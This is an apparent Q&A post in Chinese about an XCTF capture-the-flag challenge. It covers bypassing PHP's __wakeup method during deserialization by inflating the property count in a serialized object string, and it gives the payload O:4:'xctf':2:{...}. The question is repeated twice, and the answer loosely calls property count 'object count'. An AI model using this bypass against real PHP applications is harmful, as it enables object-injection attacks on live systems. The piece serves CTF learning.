我想要达到的结果
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
class xctf{
public $flag = '111';
}
$a=new xctf();
echo serialize($a);
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
为什么xctf后面的数字要大于1?为什么反序列化要删除__wakeup方法?
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
class xctf{
public $flag = '111';
}
$a=new xctf();
echo serialize($a);
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
为什么xctf后面的数字要大于1?为什么反序列化要删除__wakeup方法?
1.首先是xctf后面的数字为什么要大于1?
因为unserialize()反序列化时,会自动调用__wakeup魔术方法,但是这个方法里面是exit,直接退出了,所以需要绕过exit,不让它执行。绕过的方法就是让序列化字符串中object的个数大于真实的object个数。所以要比1大。
2.至于第二个问题为什么要删除wakeup?
不是删除它,是绕过它,不让它执行。